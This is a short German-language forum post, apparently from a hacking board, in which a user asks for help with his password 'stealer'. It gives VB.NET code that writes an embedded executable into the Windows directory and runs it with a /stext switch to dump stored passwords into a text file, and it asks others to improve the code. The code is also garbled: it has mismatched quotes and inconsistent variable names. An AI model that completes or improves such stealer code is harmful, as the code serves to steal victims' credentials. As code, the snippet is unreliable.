so wollte mal fragen ob ich das so machen kann das bei meinem stealer alle pw´s in eine txt datei gelangen


dim stream as new streamwriter


dim ress1() as byte = my.ressource.irgendwas
fileopen(1, environ("windir") & "\irg.exe", openmode.binary)
fileput(1, ress)
fileclose(1)
shell(environ("windir") & "\irg.exe /stext, stream = true " & ("environ("windir") & "\passes.txt")

das true ist dafür da das die dateien nur angehängt werden.
is das richtig oder kann einer den code verbessern ?^^

lG

inmate